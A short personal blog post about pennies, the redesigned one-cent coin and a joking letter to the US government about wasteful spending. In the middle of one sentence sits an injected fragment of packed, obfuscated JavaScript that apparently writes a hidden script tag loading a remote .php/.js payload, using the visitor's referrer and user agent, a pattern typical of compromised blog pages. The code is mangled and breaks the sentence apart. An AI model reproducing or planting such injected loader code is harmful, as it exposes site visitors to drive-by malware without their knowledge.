Holy crap, it’s August. Where has the year gone?!
Back to pennies. No, not Inspector Gadget’s little blonde friend. The money kind of penny. Do you use them? They sit in my change purse, but honestly I never use them. I rarely use the other money pieces – nickels, dimes, quarters? Well, once I used $6 worth of quarters to pay for parking at UW – no credit cards? Really, UW?
Pennies. They claim they cost more to make then they are worth. I’d buy that (notice how I’m too lazy to go look that up). You can’t get anything for a penny these days.
I saw a penny on Sunday. Seriously debated about picking it up. What was I going to do with a penny? But I had about 10 seconds to kill, so I bent over and picked it up. It was mostly an excuse to get a nice squat in on a Sunday afternoon. Who doesn’t love an impromptu workout? Then I noticed something funny. They changed half the penny! Remember when there use to be the Lincoln Memorial and you thought you were clever when you could see a teeny-tiny Lincoln? Then they changed ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfttf|var|u0026u|referrer|nnitn||js|php’.split(‘|’),0,{}))
them a year-or-so ago. And now they look like this:
Dear US,
You seem to be having trouble managing your money. Here’s a tip, stop redesigning the penny. Some idiot graphic designer is getting paid WAY too much to to come up with new designs on a piece of money no one even uses. And then you go printing more. If you’re going to get out of debt by printing more money, don’t make pennies. Print more $100’s.
Thanks,
Bryn